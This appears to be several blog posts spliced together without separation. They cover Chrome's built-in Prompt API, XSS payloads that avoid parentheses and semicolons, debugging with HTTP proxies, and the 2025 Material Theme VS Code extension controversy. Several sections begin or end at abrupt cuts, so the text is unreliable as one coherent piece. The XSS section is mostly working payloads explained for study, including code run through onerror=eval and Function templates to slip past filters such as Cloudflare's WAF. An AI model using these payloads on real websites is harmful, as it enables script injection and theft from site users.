const session = await LanguageModel.create();const response = await session.prompt('What can you do?');console.log(response)

There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.

Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.

Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.

What about other browsers?

The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.

Firefox is currently not very satisfied with the API design and has proposed another version. Safari also has some privacy and security considerations regarding the current approach, and it seems there hasn’t been much progress.

As for other more powerful APIs like the Prompt API, Firefox has given a negative response to the current proposal, while there seems to be no news from Safari on that front.

Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.

Conclusion

The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.

For example, Perplexity has launched a Comet Browser, and Chrome is increasingly incorporating built-in AI features.

If AI is not misleading me, the current Prompt API in Chrome uses Gemma, while Edge uses Phi.

As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.

Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:

1. XSS technique without parentheses
2. XSS without parentheses and semi-colons

Why do we need such payloads?

Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.

Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.

Starting with no parentheses

In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?

Tagged template strings

The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as Postgres.js:

async function getUsersOver(age) {  const users = await sql`    select      name,      age    from users    where age > ${ age }  `  // users = Result [{ name: "Walter", age: 80 }, { name: 'Murray', age: 68 }, ...]  return users}

Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?

If only template strings were used, then indeed it would be, but note that there is an additional sql at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:

function test(...args){    console.log(args)}test`Hello ${'huli'}!!!${'good'}~~`// [['Hello ', '!!!', '~~'], 'huli', 'good']

When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.

The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.

Using this concept, we can write an XSS payload that does not require parentheses:

alert`test`

However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: fetch(url, { method:'POST'}), and the method above would have the second parameter as an array, causing fetch to throw an error and not run.

To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: How to write console.log(1) without using letters and numbers? or Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code, but I will briefly introduce it here.

In JavaScript, you can dynamically create a function using new Function(code):

new Function('alert(1)')// anonymous() { alert(1) }

And that new is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:

new Function('a', 'alert(a+1)')// anonymous(a) { alert(a+1) }new Function('a', 'b', 'alert(a+b)')// anonymous(a,b) { alert(a+b) }

The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.

Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:

Function`alert(1)`// anonymous() { alert(1) }

So how do we execute this created function? It’s simple; just use the same method again:

// Add two backticks at the end, just like the previously mentioned alert`1` usage// Added an extra space to avoid Markdown parser issues, but it works the same either wayFunction`alert(1)` ``

Since alert(1) inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:

// it's actually just alert(1)Function`alert\u00281\u0029` ``

This way, the entire payload does not use any parentheses but can still execute arbitrary code!

This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:

function test(a, b){    console.log(a) // ['_', '']    console.log(b) // hello}test`_${'hello'}`

When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable hello.

Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:

Function`_${'hello'}`// anonymous(_,) { hello }

Thus, this hello is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, location.hash returns the hash from the URL like #test, and by adding slice(1), we can remove the preceding #, combined it becomes:

// start from thisFunction`_${'hello'}`// then using location.hash.slice(1)Function`_${location.hash.slice(1)}`// replace slice(1) with ``Function`_${location.hash.slice`1`}`// add `` to run the function// remember to set the hash to #alert(1)Function`_${location.hash.slice`1`}` ``

This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.

onerror Event

All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.

In a browser environment, by using window.onerror, we can receive all uncaught error events:

onerror = (err) => console.log('Err:' + err.toString())throw 'hello';// Err:Uncaught hello

By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to onerror when executed directly in the console), so please open an HTML to test.

In short, the above code tells us that in Chrome, the captured error message will be Uncaught hello.

So what if we directly replace onerror with alert?

onerror = alert;throw 'hello';

You will directly see a popup saying Uncaught hello. The above payload does not use any parentheses and achieves the purpose of executing a function.

Further extending this, we can replace onerror with eval, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with eval?

Since the captured error message will be: Uncaught {payload}, this entire sentence will be treated as code to execute, so as long as we replace the payload with: =alert(1), the whole sentence becomes: Uncaught=alert(1), using Uncaught in the error message as a variable, thus forming valid code:

onerror = eval;throw '=alert(1)';

If you still don’t understand the principle, replacing eval with console.log makes it very clear:

onerror = console.log;throw '=alert(1)';// Uncaught =alert(1)

Next, since the string follows throw, we can also use encoding to replace it, using \x28 or \u0028 will work:

onerror = eval;throw '=alert\x281\u0029';

This constructs a payload that does not require parentheses.

Further Eliminating Semicolons

Tagged template strings no longer require semicolons, so let’s continue along the path of onerror to see how to eliminate semicolons.

A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):

onerror=alert,throw 1;

But after running it, you’ll find an error: Uncaught SyntaxError: Unexpected token 'throw'. This is because throw is not an expression but a statement, so it cannot be placed after a comma; we need another method.

In JavaScript, even if you don’t use if or other code that requires a block, you can create your own block to wrap the code:

{  let a = 1;  console.log(a)}

This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the let or const keywords, allowing variables to only exist within that block.

By utilizing a block, you can achieve the goal of separating code without needing semicolons:

{onerror=alert}throw 1

In addition to using blocks, there are other cooler methods.

First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:

if (console.log(1), alert(1), true) {    console.log(true)} else {    console.log(false)}// 1// true

The expressions in if will sequentially execute console.log(1), alert(1), and finally return true, so the result of the if is valid, printing true.

And throw can be followed by an expression, so you can:

throw onerror=alert,1

This will first execute onerror=alert, then execute throw 1, achieving the same effect as our method using {}. This is another way that doesn’t require semicolons.

The Chrome part ends here; the following is all efforts made for Firefox.

In Firefox, when there is an error, the format of the error message is different:

onerror=alert;throw 1;// uncaught exception: 1

Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing onerror with eval no longer works.

So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just Error::

onerror=alert;throw new Error(1);// Error: 1

Since Label: is valid code in JavaScript, you can directly place code after it, making it easy:

onerror=eval;throw new Error('alert(1)');

However, using Error() introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:

onerror=eval;throw {lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'};

In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.

Recently, I saw Gareth Heyes tweet that Firefox is going to remove this feature: Firefox removed support for throwing error-like objects, so he found a new method:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.

Other payloads

There are other payloads mentioned by others in the original post.

The first one comes from @terjanq:

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

I tried this payload, and it currently only works in Chrome. It can clearly be broken down into several parts:

1. /a/
2. Uncaught=1
3. g=alert
4. a=URL+0
5. onerror=eval
6. throw /1/g+a[12]+[1337,3331,117]+a[13]

Because it is connected by commas, the part that gets thrown will be the last segment.

Let’s start with the last segment. What does throw /1/g+a[12]+[1337,3331,117]+a[13] do?

First, a is URL+0, and URL is a global function. The function + 0 will become a string, so a is "function URL() { [native code] }0", thus a[12] and a[13] are ( and ) respectively.

The /1/g is a regexp, and when it becomes a string, it will be "/1/g". As for the array [1337,3331,117], when converted to a string, it will call join, resulting in "1337,3331,117".

Putting it all together, /1/g+a[12]+[1337,3331,117]+a[13] will be /1/g(1337,3331,117).

Combined with what was mentioned earlier, the error message thrown will be:

Uncaught /1/g(1337,3331,117)

Here, the / was previously treated as a regexp, but in the current code, it actually represents arithmetic division, i.e., a / b / c, where a is Uncaught, b is 1, and c is g(1337,3331,117).

If Uncaught is not declared, it will throw an error, which is why Uncaught=1 is needed. Then g will be treated as a function, so g=alert.

What about the first line /a/? This is likely just to prevent a space between throw and the subsequent payload, and it doesn’t serve any other purpose.

The essence of this solution lies in making the error message become Uncaught /1/g(1337,3331,117) when thrown, which is a valid piece of code. As long as some prerequisites are fulfilled, it can successfully call the function g.

The second one comes from @cgvwzq:

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

This is actually divided into two statements. The first statement is: TypeError.prototype.name ='=/', which forcibly changes the name of TypeError to =/.

Without this line, the error message for 0[0]['test'] would be: Uncaught TypeError: Cannot read properties of undefined (reading 'test').

0[0] will be undefined, and undefined['test'] will throw this TypeError.

After we forcibly change the name:

TypeError.prototype.name ='hello!';0[0]['test'];// Uncaught hello!: Cannot read properties of undefined (reading 'test')

We can control the original part of TypeError to become any string.

The other statement 0[onerror=eval]['/-alert(1)//'] simply places the assignment inside []. After the assignment, it is equivalent to 0[eval], which will return undefined, thus throwing a TypeError.

Let’s look at it another way, with the following code:

TypeError.prototype.name ='{1}';0[eval]['{2}'];

The error message generated in Chrome would be:

Uncaught {1}: can't access property "{2}", 0[eval] is undefined

Now the problem becomes how to control the string above to make the error message a valid piece of code?

In place of {1}, the author placed =/, resulting in Uncaught=/. This / actually means regexp, so the idea of this method is to make the string before {2} (: can't access property " ) become part of the regexp.

Thus, the beginning of {2} is /, forming a regexp with the preceding part, and then using -alert(1) to execute the function. It can also be changed to +alert(1), as it just needs to string the two operations together. After execution, the subsequent code is all commented out with //, so it can be ignored.

However, if you actually run the above payload, you will find that Chrome returns the error message: Invalid regular expression ... Unterminated group. This is because there is a ( in the error message, which may not have been there, causing the regexp syntax to be incorrect. You just need to add a ) to fix it:

TypeError.prototype.name ='=/',0[onerror=eval][')/-alert(1)//']

The generated error message will be:

Uncaught =/: Cannot read properties of undefined (reading ')/-alert(1)//')

A simplified version would be:

Uncaught =/regexp/-alert(1)//...

By the way, this payload works fine on Chrome 139, but Firefox 142 will throw an error: Uncaught SyntaxError: expected expression, got '='.

If you want to debug, just change onerror=eval to onerror=console.log to see what the generated error message looks like:

=/: can't access property ")//alert(1)//", 0[console.log] is undefined

It seems that in Firefox, there is nothing in front of the TypeError’s name, so to make it work in Firefox, you can just add any character that can be a variable in front:

TypeError.prototype.name ='a=/',0[onerror=eval]['/-alert(1)//']

If you really understand this approach, you can actually insert code at the TypeName part by following this idea, resulting in the same outcome, but not that cool (it works fine on Chrome):

TypeError.prototype.name ='=alert(1)//',0[onerror=eval][2]

As for how to construct a payload that works on both Chrome and Firefox, readers can practice on their own or refer to an example I created, which adds some variations:

TypeError.prototype.name ='+/[',[onerror=eval][window.Uncaught++][']/-alert\501\51<!--']

Summary

In fact, regardless of which payload it is, the core concept is the same: just turn the error message into valid JavaScript code and pass it to eval for execution.

To understand the payload, you need to be somewhat familiar with JavaScript code, such as 0[onerror=eval] or the use of commas; you should at least know what’s going on.

Besides that, it’s about using your imagination, which is harder to practice and usually starts with observation and imitation.

Finally, here are a few key points:

1. Commas can chain multiple expressions, returning the last one.
2. Replacing onerror with eval allows you to execute the error message as code.
3. Errors thrown will become part of the error message.
4. As long as you can turn the error message into valid code, you’ve succeeded.

But I wonder if anyone has encountered situations where DevTools are not sufficient. What should we do then?

Are DevTools Really Insufficient? Is It Just That You Don’t Know How to Use Them?

Let me share a few cases I have encountered. If DevTools can solve the problem, that would be the most convenient, but sometimes I can’t resolve it (it might also be that I just don’t know how to use it). Additionally, the DevTools mentioned below refer specifically to Chrome DevTools; perhaps other browsers do not have these issues.

Unable to See Request Details Before Redirection

Many websites that implement OAuth-related services will redirect to a redirect URL after logging in, carrying a code. At this point, some websites will use the code to exchange for an access_token, and then redirect to the next page with the access_token. If there is an issue with the code exchanging for the access_token, how do we debug it?

Chrome DevTools, when redirecting to another page, will by default clear the console and network data. There is an option called “Preserve log,” and checking it seems to solve the problem, but it actually does not.

You can randomly find a webpage, open DevTools, check the “Preserve log” option, and then execute the following code:

fetch('https://httpbin.org/user-agent')    .then(() => window.location = 'https://example.com')

After the redirection is complete, although you can see this request in the Network tab, clicking on it will only show “Failed to load response data”:

This issue has been reported since 2012, and after waiting for over a decade, it was mentioned at the end of 2023 that this would be on the roadmap for 2024, but there has been no movement so far: DevTools: XHR (and other resources) content not available after navigation..

In summary, in this scenario, not being able to see the response makes debugging nearly impossible, which is very inconvenient.

Unable to Find the Cause of WebSocket Connection Handshake Failure

Although we usually only need one line of code to establish a connection when using WebSocket, it actually involves two steps behind the scenes.

The first step sends an HTTP Upgrade request, and only after that does it switch to the WebSocket connection. While the first step usually succeeds in most cases, what happens if it fails?

We can ask AI to write a very simple demo:

write a nodejs websocket server with nginx in frontwhen url contains ?debug, nginx should return 500 errorafter websocker connected, server should a a hello message to clientuse docker compose to run it

After the AI generates it, run it with Docker, and similarly open a webpage to establish a connection. You will find that for the connection request with debug information, you only know it failed, but have no idea why:

This error message is even similar to connecting to a random closed port, leaving you completely clueless as to why it failed, making it difficult to communicate the issue to the backend.

These are two examples that I remember, but in actual development, there are likely many more. Basically, problems that cannot be resolved by just relying on DevTools to view the Network tab are either invisible or the displayed information is incorrect.

Simple and Easy-to-Use HTTP Proxy

Since we cannot rely on DevTools, we have to depend on lower-level tools, such as an HTTP Proxy! Some tools will set up a proxy on your local machine, allowing all traffic to pass through it, so you can see all requests without being limited by DevTools.

Moreover, another benefit is that you have a place to cross-reference. If the proxy shows something different from what DevTools displays, it is possible that there is an issue with what DevTools is showing.

Therefore, I sincerely recommend everyone to find an HTTP Proxy to use. The three that I have personally used are:

1. Charles
2. Burp Suite
3. mitmproxy

When I first got into proxies, I used Charles, but after getting into cybersecurity, I switched to the second one, Burp Suite. It’s actually a tool that can be used for various security-related tests, but I think it’s perfectly fine to just use it as a proxy; it’s very convenient.

The third one, mitmproxy, is open-source and free, and it’s quite well-known. I occasionally use it, but in a different way, which I’ll discuss later.

Using Burp Suite as a Proxy App

First, download the free community version from the official website: https://portswigger.net/burp/communitydownload

After opening it, click Next and then Start Burp, and you’ll see the main screen. You’ll notice it has many features, but for now, let’s switch to the “Proxy” tab and then to the “HTTP history” page:

Then click on the very noticeable orange “Open Browser” button, which will open its built-in Chrome browser. You can use this browser to visit any webpage, for example, example.com.

Next, switch back to the tool, and you’ll find that the HTTP history records all the raw content of requests and responses:

In this way, the redirection cases and WebSocket handshake failures mentioned earlier can be seen here with the original request content, making errors clear at a glance:

If in the future you encounter some requests that you can’t see, it means they have been filtered out by the default filter. Click on Filter settings, select show all, and then apply, and you should be able to see them.

(If you encounter issues with insecure connections, you need to install the certificate first. Please refer to: Installing Burp’s CA certificate)

That’s a basic introduction to using Burp Suite as an HTTP Proxy. If you don’t want to use the Chrome it provides, you can also set up your computer or browser’s proxy; it defaults to port 8080.

For example, I install another Chrome Canary on my Mac specifically for debugging. You can use this command to open it and set the proxy location:

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

This way, you can debug using your familiar browser.

By the way, Burp Suite has many other features, such as replaying requests or brute-forcing, but I think it’s already very helpful for general engineers to use it as a proxy.

Using mitmproxy with Scripts to Dynamically Change Content

I won’t go into detail about the installation process for mitmproxy; you can refer to the official documentation or collaborate with AI to install it yourself. After installation, remember to visit http://mitm.it to download and install the certificate so that you can intercept HTTPS traffic.

Once everything is installed, running mitmproxy will start the proxy, and you’ll see a CLI interface.

Since Burp Suite is already very useful, when would you use mitmproxy? It has a handy feature that allows you to customize the behavior of the proxy through simple Python scripts, which is very convenient.

For example, suppose for some reason the testing environment cannot fully simulate the production environment, but you cannot directly deploy the code to the production environment for testing. In this case, you can use the proxy to dynamically replace the production response and simulate some behaviors locally.

Although Chrome also has the override response feature, it has more limitations, such as fixed content, etc. Using a proxy with scripts is definitely a more flexible and higher freedom choice.

Below is a simple mitm script aimed at replacing the script.js of my blog with the local version:

from mitmproxy import httpimport requestsURL_MAPPINGS = {    "https://blog.huli.tw/js/script.js": "http://localhost:5555/script.js",}def request(flow: http.HTTPFlow) -> None:    for url in URL_MAPPINGS:        if flow.request.pretty_url.startswith(url):            replacement_url = URL_MAPPINGS[url]            replacement_response = requests.get(replacement_url)            flow.response = http.Response.make(                200,                replacement_response.content,                 {"Content-Type": "application/javascript"}             )            return

You can run it with this command:

mitmproxy -s proxy.py

Next, use the command mentioned earlier to open a browser configured with a proxy:

open -a "Google Chrome Canary" --args --proxy-server="http://localhost:8080"

Then visit https://blog.huli.tw in the browser, and you will see that the content of the script has been replaced.

Conclusion

These are some proxies and usage methods that I commonly use.

Relying too much on the browser is not a good thing; if the browser does not display anything, you won’t know what to do. However, as front-end engineers on the front line, there are definitely ways to obtain the entire request and response to clarify the issue further. In the future, if you encounter problems where requests are not visible in the browser, you can try using a proxy to capture the complete request and response.

In addition to web pages on the computer, you can also use it on mobile. You can set up a proxy on Android to connect to the same Wi-Fi as the computer, and then install the certificate on the phone to intercept the mobile traffic.

Finally, here’s a little tip: when executing commands in the Mac CLI, adding https_proxy=http://localhost:8080 will configure the proxy, such as https_proxy=http://localhost:8080 cursor ., which will redirect all traffic from the Cursor IDE to the proxy.

1. It “allegedly” contains malicious code.
2. It is indeed malware.

For example, in BleepingComputer’s article VSCode extensions with 9 million installs pulled over security risks, it states:

Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.

It uses the term “allegedly containing malicious code.”

In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed @theo directly stated:

The Material Theme has just been removed from GitHub and VS Code due to shipping malware.

So, is the Material Theme extension on VS Code malware? To conclude: “No.”

What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.

The Beginning of the Incident and the Reason for Removal

(All times refer to Taiwan time)

On 2025/02/26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: This extension was reported to be problematic, mentioning that the following prompt appeared in VS Code:

We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.

This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: Lost Material Theme .

By 7 AM, discussions also began on Hacker News: Material Theme has been pulled from VS Code’s marketplace.

Around 3:40 PM, a member of the VS Code team, Isidor, responded:

Hi - Isidor here from the VS Code team.
A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.

We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.

Expect an announcement here with more details soon https://github.com/microsoft/vsmarketplace/

As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article https://code.visualstudio.com/docs/editor/extension-runtime-security

Thank you!

The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.

By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: Material theme compromised?, wanting to know more details.

The PM of the VS Code Marketplace, seaniyer, also provided a response at 9:57 AM on 2/27:

Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.

The RemovedPackages.md file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?

The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:

A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes

A cybersecurity company, Koi Security, published an article on 2025/02/27 titled A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:

Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme

Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency

The malicious code seems to be inside a dependency of the theme, which was compromised.

The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.

Author’s Rebuttal

On 2/28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:

This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.

At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:

If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.

Why was Material Theme suspected?

To summarize the above discussion, it is clear that Material Theme indeed did a few things:

1. It is clearly a theme, but the package contains JavaScript.
2. It has obfuscated code.
3. The code contains parts related to username and password.
4. It includes a utility for executing child processes.

If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.

Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.

In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a Has the Material Theme extension been compromised? thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.

Some say it may be related to these two discussions initiated by the author on August 10:

1. ⚠️ Looking for Typescript maintainer ⚠️
2. Premium extensions

Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.

As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used url-parser, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.

Regarding the “utility for executing child processes,” someone looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.

(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage)

The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article RE: VSCode Extension Drama: You can’t run your threat response like a High School clique.

Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright/licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.

Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the discussion thread on Reddit.

In summary, this comment from @r8 accurately reflects my thoughts:

Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.

The Important Line Between “Suspected” and “Confirmed”

The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”

However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”

Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.

The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”

This is actually a “line-drawing” issue.

For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.

However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.

So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.

Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:

1. It is clearly a theme, but the extension contains JavaScript, which is obfuscated.
2. It includes utilities used to execute child processes.
3. This extension has millions of downloads.

Before making a decision, they must understand the impact this decision will have.

For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?

Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).

In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.

Conclusion: The VS Code Team’s Apology

More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: Update RemovedPackages.md.

On March 12, they issued a public statement apologizing under the issue posted by the author:

False positives suck, and it hurts when it happens.

The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.

I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.
These extensions are safe and have been restored for the VS Code community to enjoy.

LINKS:
Material Theme
[Material Theme Icons]
(https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons)

Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.

Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman

So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.

However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).

If it were me, I might have decided to take it down as well, so I understand this decision.

But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”

Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”

To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.

Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?

By the way, BleepingComputer asked the cybersecurity company that initially reported the issue in the article Microsoft apologizes for removing VSCode extensions used by millions, and they still believe there is malicious code:

When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”

But it seems that no relevant evidence has been provided so far.